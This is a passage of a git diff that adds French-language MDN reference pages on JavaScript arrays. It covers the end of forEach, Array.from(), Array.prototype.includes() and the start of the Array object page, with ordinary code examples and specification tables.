+var obj2 = copie(obj1); // obj2 ressemble désormais à obj1</pre>
+
+<h3 id="Attention_aux_modifications_en_cours">Attention aux modifications en cours</h3>
+
+<p>Dans l'exemple qui suit, on utilise un tableau qui contient quatre élément : <code>"un"</code>, <code>"deux"</code>, <code>"trois"</code>, <code>"quatre"</code>. Lorsque le parcours du tableau arrive à l'élément <code>"deux"</code>, on décale le tableau d'un cran vers les premiers éléments. Aussi, l'élément <code>"quatre"</code> est décalé à la place de <code>"trois"</code> et <code>"trois"</code> est déplacé à la place de <code>"deux"</code>. Pour cette raison, lorsque <code>forEach</code> poursuit son parcours, elle saute la valeur "trois". Autrement dit, <code>forEach</code> n'utilise pas une copie du tableau au moment où elle est appelée, elle manipule le tableau directement. On voit aussi dans cet exemple que les éléments non initialisés ne sont pas traités par la fonction de rappel.</p>
+
+<pre class="brush: js">var mots = ["un", "deux", "trois",, "quatre"];
+mots.forEach(function(mot) {
+  console.log(mot);
+  if (mot === "deux") {
+    mots.shift();
+  }
+});
+// un
+// deux
+// quatre</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.18', 'Array.prototype.forEach')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.foreach', 'Array.prototype.forEach')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.foreach', 'Array.prototype.forEach')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.forEach")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.filter()")}}</li>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.findIndex()")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Map.prototype.forEach()")}}</li>
+ <li>{{jsxref("Set.prototype.forEach()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/from/index.html b/files/fr/web/javascript/reference/objets_globaux/array/from/index.html
new file mode 100644
index 0000000000..61e8b828cb
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/from/index.html
@@ -0,0 +1,138 @@
+---
+title: Array.from()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/from
+tags:
+  - Array
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/from
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Array.from()</strong></code> permet de créer une nouvelle instance d'<code>Array</code> (une copie superficielle) à partir d'un objet itérable ou semblable à un tableau.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-from.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Array.from(arrayLike [, fonctionMap[, thisArg]])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>arrayLike</code></dt>
+ <dd>Un objet semblable à un tableau ou bien un objet itérable dont on souhaite créer un tableau, instance d'<code>Array</code>.</dd>
+ <dt><code>fonctionMap</code> {{optional_inline}}</dt>
+ <dd>Argument optionnel, une fonction à appliquer à chacun des éléments du tableau.</dd>
+ <dt><code>thisArg</code> {{optional_inline}}</dt>
+ <dd>Argument optionnel. La valeur à utiliser pour <code>this</code> lors de l'exécution de la fonction <code>fonctionMap</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une nouvelle instance de {{jsxref("Array")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>Array.from()</code> permet de créer des instances d'<code>Array</code> à partir :</p>
+
+<ul>
+ <li>d'objets semblables à des tableaux (qui disposent d'une propriété <code>length</code> et d'éléments indexés) ou</li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/iterable">d'objets itérables</a> (des objets dont on peut avoir les éléments comme {{jsxref("Map")}} et {{jsxref("Set")}}).</li>
+</ul>
+
+<p><code>Array.from()</code> possède un paramètre optionnel <code>fonctionMap</code>, qui permet d'exécuter une fonction {{jsxref("Array.prototype.map", "map")}} sur chacun des éléments du tableau (ou de l'instance de la classe fille) qui est créé. Autrement dit<code> Array.from(obj, mapFn, thisArg)</code> correspond exactement à <code>Array.from(obj).map(mapFn, thisArg)</code>, sauf qu'il n'y a pas de tableau intermédiaire de créé. Cet aspect est notamment important pour certaines classes filles, comme les <a href="/fr/docs/JavaScript/Tableaux_typ%C3%A9s">tableaux typés</a> (en effet, un tableau intermédiaire aurait eu ses valeurs tronquées pour qu'elles soient du type approprié).</p>
+
+<p>La propriété <code>length</code> de la méthode <code>from()</code> est 1.</p>
+
+<p>Avec ES6, la syntaxe de classe permet d'avoir des sous-classes pour les objets natifs comme pour les objets définis par l'utilisateur. Ainsi, les méthodes statiques de classe comme <code>Array.from()</code> sont héritées par les sous-classes d'<code>Array</code> et créent de nouvelles instances de la sous-classe d'<code>Array</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">// créer une instance d'Array à partir de l'objet arguments qui est semblable à un tableau
+function f() {
+  return Array.from(arguments);
+}
+
+f(1, 2, 3);
+// [1, 2, 3]
+
+
+// Ça fonctionne avec tous les objets itérables...
+// Set
+const s = new Set(["toto", "truc", "truc", "bidule"]);
+Array.from(s);
+// ["toto", "truc", "bidule"]
+
+
+// Map
+const m = new Map([[1, 2], [2, 4], [4, 8]]);
+Array.from(m);
+// [[1, 2], [2, 4], [4, 8]]
+
+const mapper = new Map([["1", "a"], ["2", "b"]]);
+Array.from(mapper.values());
+// ["a", "b"]
+
+Array.from(mapper.keys());
+// ["1", "2"]
+
+// String
+Array.from("toto");
+// ["t", "o", "t", "o"]
+
+
+// En utilisant une fonction fléchée pour remplacer map
+// et manipuler des éléments
+Array.from([1, 2, 3], x =&gt; x + x);
+// [2, 4, 6]
+
+
+// Pour générer une séquence de nombres
+Array.from({length: 5}, (v, k) =&gt; k);
+// [0, 1, 2, 3, 4]
+
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.from', 'Array.from')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.from', 'Array.from')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.from")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("TypedArray.from()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/includes/index.html b/files/fr/web/javascript/reference/objets_globaux/array/includes/index.html
new file mode 100644
index 0000000000..8567f02fbf
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/includes/index.html
@@ -0,0 +1,135 @@
+---
+title: Array.prototype.includes()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/includes
+tags:
+  - Array
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/includes
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>includes()</strong></code> permet de déterminer si un tableau contient une valeur et renvoie <code>true</code> si c'est le cas, <code>false</code> sinon.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-includes.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cette méthode utilise l'algorithme de comparaison <em><a href="/fr/docs/Web/JavaScript/Les_différents_tests_d_égalité#Un_modèle_pour_mieux_comprendre">SameValueZero</a></em> qui fonctionne comme l'égalité stricte, à la différence que <code>NaN</code> est ici égal à lui même.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">array.includes(élémentRecherché)
+array.includes(élémentRecherché, indiceDépart)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>élémentRecherché</code></dt>
+ <dd>La valeur qu'on souhaite trouver dans le tableau (lorsqu'on manipule des caractères et des chaînes, la comparaison est sensible à la casse).</dd>
+ <dt><code>indiceDépart</code> {{optional_inline}}</dt>
+ <dd>La position du tableau à partir de laquelle commencer à chercher <code>élémentRecherché</code>. Si on utilise une valeur négative, la recherche commencera à partir de la fin du tableau (autrement dit à l'indice <code>array.length - indiceDépart</code>). La valeur par défaut est 0.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un {{jsxref("Boolean","booléen","",1)}} qui vaut <code>true</code> si <code>élémentRecherché</code> est trouvé dans le tableau (à partir de l'<code>indiceDépart</code> si celui-ci est indiqué). Les valeurs -0, +0 et 0 sont considérées comme équivalentes mais <code>false</code> n'est pas considéré comme équivalent à 0.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Pour être tout à fait précis, <code>includes()</code> utilise l'algorithme <em><a href="/fr/docs/Web/JavaScript/Les_différents_tests_d_égalité#Un_modèle_pour_mieux_comprendre">SameValueZero</a></em> afin de déterminer si un élément donné est trouvé.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">[1, 2, 3].includes(2);     // true
+[1, 2, 3].includes(4);     // false
+[1, 2, 3].includes(3, 3);  // false
+[1, 2, 3].includes(3, -1); // true
+[1, 2, NaN].includes(NaN); // true
+
+['a', 'b', 'c'].includes('c', 5);    // false
+['a', 'b', 'c'].includes('c', -100); // true
+</pre>
+
+<h3 id="indiceDépart_supérieur_ou_égal_à_la_longueur_du_tableau"><code>indiceDépart</code> supérieur ou égal à la longueur du tableau</h3>
+
+<p>SI <code>indiceDépart</code> est supérieur ou égal à la longueur du tableau, la méthode retourne <code>false</code>. Le tableau n'est pas parcouru.</p>
+
+<pre class="brush: js">var arr = ['a', 'b', 'c'];
+
+arr.includes('c', 3);   // false
+arr.includes('c', 100); // false
+</pre>
+
+<h3 id="indiceDépart_strictement_négatif"><code>indiceDépart</code> strictement négatif</h3>
+
+<p>Si <code>indiceDépart</code> est strictement négatif, l'indice de départ effectif est la somme entre la taille du tableau et <code>indiceDépart</code>. Si cette somme est toujours négative, le tableau est intégralement parcouru.</p>
+
+<pre class="brush: js">// Le tableau a une taille de 3
+// indiceDépart vaut -2
+// L'indice de départ effectif vaut is 3 + (-2) = 1
+
+var arr = ['a', 'b', 'c'];
+
+arr.includes('a', -2); // false
+arr.includes('b', -2); // true
+arr.includes('c', -100); // true
+</pre>
+
+<h3 id="Utilisation_d'includes()_comme_méthode_générique">Utilisation d'<code>includes()</code> comme méthode générique</h3>
+
+<p><code>includes()</code> est une méhtode générique : l'objet sur lequel elle est appelée ne doit pas nécessairement être un tableau. On peut l'utiliser sur des objets semblables à des tableaux (ex. <code><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/arguments">arguments</a></code> ou des chaînes de caractères) :</p>
+
+<pre class="brush: js">function argumentsContientA(){
+  return [].includes.call(arguments, 'a');
+}
+
+console.log(argumentsContientA('a','b','c')); // true
+console.log(argumentsContientA('d','e','f')); // false
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES7', '#sec-array.prototype.includes', 'Array.prototype.includes')}}</td>
+   <td>{{Spec2('ES7')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.includes', 'Array.prototype.includes')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.includes")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.prototype.includes()")}}</li>
+ <li>{{jsxref("String.prototype.includes()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.findIndex()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/index.html b/files/fr/web/javascript/reference/objets_globaux/array/index.html
new file mode 100644
index 0000000000..b871ff6573
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/index.html
@@ -0,0 +1,446 @@
+---
+title: Array
+slug: Web/JavaScript/Reference/Objets_globaux/Array
+tags:
+  - Array
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet global <strong><code>Array</code></strong> est utilisé pour créer des tableaux. Les tableaux sont des objets de haut-niveau (en termes de complexité homme-machine) semblables à des listes.</p>
+
+<p><strong>Créer un tableau</strong></p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">var</span> fruits <span class="operator token">=</span> <span class="punctuation token">[</span><span class="string token">'Apple'</span><span class="punctuation token">,</span> <span class="string token">'Banana'</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>fruits<span class="punctuation token">.</span>length<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// 2</span></code></pre>
+
+<p><strong>Accéder (via son index) à un élément du tableau</strong></p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">var</span> first <span class="operator token">=</span> fruits<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+<span class="comment token">// Apple</span>
+
+<span class="keyword token">var</span> last <span class="operator token">=</span> fruits<span class="punctuation token">[</span>fruits<span class="punctuation token">.</span>length <span class="operator token">-</span> <span class="number token">1</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+<span class="comment token">// Banana</span></code></pre>
+
+<p><strong>Boucler sur un tableau</strong></p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js">fruits<span class="punctuation token">.</span><span class="function token">forEach</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>item<span class="punctuation token">,</span> index<span class="punctuation token">,</span> array<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>item<span class="punctuation token">,</span> index<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// Apple 0</span>
+<span class="comment token">// Banana 1</span></code></pre>
+
+<p><strong>Ajouter à la fin du tableau</strong></p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">var</span> newLength <span class="operator token">=</span> fruits<span class="punctuation token">.</span><span class="function token">push</span><span class="punctuation token">(</span><span class="string token">'Orange'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// ["Apple", "Banana", "Orange"]</span></code></pre>
+
+<p><strong>Supprimer le dernier élément du tableau</strong></p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">var</span> last <span class="operator token">=</span> fruits<span class="punctuation token">.</span><span class="function token">pop</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// supprime Orange (à la fin)</span>
+<span class="comment token">// ["Apple", "Banana"];</span></code></pre>
+
+<p><strong>Supprimer le premier élément du tableau</strong></p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">var</span> first <span class="operator token">=</span> fruits<span class="punctuation token">.</span><span class="function token">shift</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// supprime Apple (au début)</span>
+<span class="comment token">// ["Banana"];</span></code></pre>
+
+<p><strong>Ajouter au début du tableau</strong></p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">var</span> newLength <span class="operator token">=</span> fruits<span class="punctuation token">.</span><span class="function token">unshift</span><span class="punctuation token">(</span><span class="string token">'Strawberry'</span><span class="punctuation token">)</span> <span class="comment token">// ajoute au début</span>
+<span class="comment token">// ["Strawberry", "Banana"];</span></code></pre>
+
+<p><strong>Trouver l'index d'un élément dans le tableau</strong></p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js">fruits<span class="punctuation token">.</span><span class="function token">push</span><span class="punctuation token">(</span><span class="string token">'Mango'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// ["Strawberry", "Banana", "Mango"]</span>
+
+<span class="keyword token">var</span> pos <span class="operator token">=</span> fruits<span class="punctuation token">.</span><span class="function token">indexOf</span><span class="punctuation token">(</span><span class="string token">'Banana'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// 1</span></code></pre>
+
+<p><strong>Supprimer un élément par son index</strong></p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">var</span> removedItem <span class="operator token">=</span> fruits<span class="punctuation token">.</span><span class="function token">splice</span><span class="punctuation token">(</span>pos<span class="punctuation token">,</span> <span class="number token">1</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// supprime 1 élément à la position pos</span>
+
+<span class="comment token">// ["Strawberry", "Mango"]</span></code></pre>
+
+<p><strong>Supprimer des éléments à partir d'un index</strong></p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">var</span> vegetables <span class="operator token">=</span> <span class="punctuation token">[</span><span class="string token">'Cabbage'</span><span class="punctuation token">,</span> <span class="string token">'Turnip'</span><span class="punctuation token">,</span> <span class="string token">'Radish'</span><span class="punctuation token">,</span> <span class="string token">'Carrot'</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>vegetables<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// ["Cabbage", "Turnip", "Radish", "Carrot"]</span>
+
+<span class="keyword token">var</span> pos <span class="operator token">=</span> <span class="number token">1</span><span class="punctuation token">,</span> n <span class="operator token">=</span> <span class="number token">2</span><span class="punctuation token">;</span>
+
+<span class="keyword token">var</span> removedItems <span class="operator token">=</span> vegetables<span class="punctuation token">.</span><span class="function token">splice</span><span class="punctuation token">(</span>pos<span class="punctuation token">,</span> n<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// n définit le nombre d'éléments à supprimer,</span>
+<span class="comment token">// à partir de la position pos</span>
+
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>vegetables<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// ["Cabbage", "Carrot"] (le tableau d'origine est changé)</span>
+
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>removedItems<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// ["Turnip", "Radish"] (splice retourne la liste des éléments supprimés)</span></code></pre>
+
+<p><strong>Copier un tableau</strong></p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">var</span> shallowCopy <span class="operator token">=</span> fruits<span class="punctuation token">.</span><span class="function token">slice</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// crée un nouveau tableau qui contient les éléments de fruits</span>
+<span class="comment token">// ["Strawberry", "Mango"]</span></code></pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">[<var>element0</var>, <var>element1</var>, ..., <var>elementN</var>]
+new Array(<var>element0</var>, <var>element1</var>[, ...[, <var>elementN</var>]])
+new Array(<var>arrayLength</var>)</pre>
+
+<dl>
+ <dt>
+ <h3 id="Paramètres">Paramètres</h3>
+ </dt>
+ <dt><code><var>element0</var>, <var>element1</var>, ..., <var>elementN</var> </code></dt>
+ <dd>Un tableau est initialisé avec les éléments donnés, sauf dans le cas où un seul argument est passé au constructeur <code>Array</code> et que cet argument est un nombre. (Voir ci-après.) Notez que ce cas spécial s'applique aux tableaux créés avec le constructeur <code>Array</code>, et non aux tableaux créés avec la syntaxe crochets.</dd>
+ <dt><code><var>arrayLength</var></code></dt>
+ <dd>Si le seul argument passé au constructeur <code>Array</code> est un entier entre 0 et 2<sup>32</sup>-1 (inclus), un nouveau tableau sera créé avec ce nombre d'éléments (note : le tableau sera créé avec <code>arrayLength</code> emplacements vides, et non avec de véritables valeurs <code>undefined</code>). Si l'argument est un nombre en dehors de la plage autorisée, une exception {{jsxref("RangeError")}} est levée.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Les tableaux sont des objets qui servent de liste et possèdent plusieurs méthodes incorporées pour exécuter des opérations de parcours et de modification.</p>
+
+<p>Ni la taille d'un tableau ni le types de ses éléments n'est fixé. Puisque la dimension d'un tableau peut augmenter ou diminuer à tout moment, et que les éléments du tableau peuvent être stockés à des emplacements non contigus, les tableaux ne sont pas garantis d'être compacts. En général, ce sont des caractéristiques pratiques, mais si ces fonctionnalités ne sont pas souhaitables pour votre cas d'utilisation, vous pouvez envisager d'utiliser des tableaux typés.</p>
+
+<p>Les tableaux ne peuvent pas utiliser de chaîne de caractères comme indice (comme dans un <a href="https://fr.wikipedia.org/wiki/Tableau_associatif">tableau associatif</a>) mais des entiers. Utiliser ou accéder à des index non entiers, en utilisant la <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Guide/Utiliser_les_objets#Les_objets_et_les_propri%C3%A9t%C3%A9s">notation avec crochets</a> (ou <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_de_membres">avec point</a>) ne va pas définir ou récupérer un élément sur le tableau lui-même, mais une variable associée à la  <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Structures_de_donn%C3%A9es#Propri%C3%A9t%C3%A9s">collection de propriétés d'objet</a> de ce tableau.  Les propriétés du tableau et la liste de ses éléments sont séparées, et les <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Guide/Collections_index%C3%A9es#M%C3%A9thodes_des_tableaux">opérations de parcours et de modification</a> ne s'appliquent pas à ces propriétés.</p>
+
+<h3 id="Accéder_aux_éléments_dun_tableau">Accéder aux éléments d'un tableau</h3>
+
+<p>Les tableaux sont indexés à partir de zéro: le premier élément d'un tableau a pour indice <code>0</code>, et la position du dernier élément est donnée par {{jsxref("Array.length", "length")}} moins 1. Si on utilise un indice en dehors de cet intervalle, le résultat sera {{jsxref("undefined")}} (sous réserve qu'aucune propriété n'ait été ajoutée au préalable avec cet indice).</p>
+
+<pre class="brush: js notranslate">var arr = ["le premier élément", "le deuxième élément", "le dernier élément"];
+console.log(arr[0]);             // affiche "le premier élément"
+console.log(arr[1]);             // affiche "le deuxième élément"
+console.log(arr[arr.length - 1]);// affiche "le dernier élément"</pre>
+
+<p>Les éléments d'un tableau sont des propriétés d'objets de la même manière que <code>toString</code> est une propriété. Cependant, essayer d'accéder à un élément du tableau comme suit renverra une erreur car le nom de la propriété utilisé est invalide :</p>
+
+<pre class="brush: js notranslate">console.log(arr.0); // erreur de syntaxe</pre>
+
+<p>Ce comportement est tout à fait normal. En effet, il n'est pas possible d'accéder aux propriétés dont le nom commence par un chiffre avec cette notation (le point). Il est nécessaire d'utiliser la syntaxe avec les crochets pour accéder à ces propriétés. Ainsi, si pour un objet quelconque, on avait une propriété nommée '<code>3d</code>', on ne pourra y faire référence qu'en utilisant les crochets. Exemple :</p>
+
+<pre class="brush: js notranslate">var années = [1950, 1960, 1970, 1980, 1990, 2000, 2010];
+
+console.log(années.0);  // erreur de syntaxe
+console.log(années[0]); // fonctionne correctement</pre>
+
+<pre class="brush: js notranslate">renderer.3d.setTexture(model, "personnage.png");   // erreur de syntaxe
+renderer["3d"].setTexture(model, "personnage.png");// fonctionne correctement </pre>
+
+<p>Dans cet exemple, on utilise des doubles quotes autour de <code>3d</code>. On peut aussi utiliser les doubles quotes pour accéder aux éléments d'un tableau (ex. : <code>années["2"]</code> au lieu de <code>années[2]</code>), mais ce n'est pas obligatoire. Dans l'instruction <code>années[2]</code>, le nombre sera converti en une chaîne de caractères par le moteur JavaScript. Pour cette raison, si on utilise les noms de propriété "2" et "02", on fera référence à deux propriétés différentes, et le fragment de code suivant renvoie donc <code>true</code>:</p>
+
+<pre class="brush: js notranslate">console.log(années["2"] != années["02"]); </pre>
+
+<p>De manière similaire, les propriétés nommées avec des mots-clés réservés ne peuvent être consultées qu'en utilisant la syntaxe avec crochets :</p>
+
+<pre class="brush: js notranslate">var promise = {
+  'var' : 'text',
+  'array': [1, 2, 3, 4]
+};
+
+console.log(promise['var']);</pre>
+
+<div class="note">
+<p><strong>Note spécifique à Firefox :</strong> Depuis Firefox 40.0a2, il est possible d'utiliser la notation avec le point pour accéder aux propriétés dont les noms ne sont pas des identifiants valides.</p>
+</div>
+
+<h3 id="Relation_entre_length_et_les_propriétés_numériques">Relation entre <code>length</code> et les propriétés numériques</h3>
+
+<p>La propriété {{jsxref("Array.length", "length")}} d'un tableau est liée aux propriétés numériques du tableau. Plusieurs méthodes natives utilisent cette propriété : {{jsxref("Array.join", "join()")}}, {{jsxref("Array.slice", "slice()")}}, {{jsxref("Array.indexOf", "indexOf()")}}, etc. D'autres méthodes comme {{jsxref("Array.push", "push()")}} et {{jsxref("Array.splice", "splice()")}} modifient le tableau et la propriété {{jsxref("Array.length", "length")}}.</p>
+
+<pre class="brush: js notranslate">var fruits = [];
+fruits.push("banane", "pomme", "pêche");
+
+console.log(fruits.length); // 3</pre>
+
+<p>Lorsqu'on définit une nouvelle propriété numérique pour un tableau, que l'index utilisé est valide et que celui-ci est dehors des limites actuelles du tableau, le moteur JavaScript mettra à jour la propriété {{jsxref("Array.length", "length")}} :</p>
+
+<pre class="brush: js notranslate">fruits[5] = "mangue";
+console.log(fruits[5]);  // "mangue"
+console.log(Object.keys(fruits)); // ['0', '1', '2', '5']
+console.log(fruits.length); // 6 </pre>
+
+<p>On peut également modifier la propriété directement (cela n'ajoutera pas de nouveaux éléments) :</p>
+
+<pre class="brush: js notranslate">fruits.length = 10;
+console.log(Object.keys(fruits)); // ['0', '1', '2', '5']
+console.log(fruits.length);  // 10</pre>
+
+<p>En revanche, si on diminue la valeur de {{jsxref("Array.length", "length")}}, cela supprimera des éléments :</p>
+
+<pre class="brush: js notranslate">fruits.length = 2;
+console.log(Object.keys(fruits)); // ['0', '1']
+console.log(fruits.length); // 2</pre>
+
+<p>Pour plus d'informations sur le comportement de cette propriété, voir la page {{jsxref("Array.length")}}.</p>
+
+<h3 id="Création_dun_tableau_utilisant_le_résultat_dune_correspondance">Création d'un tableau utilisant le résultat d'une correspondance</h3>
+
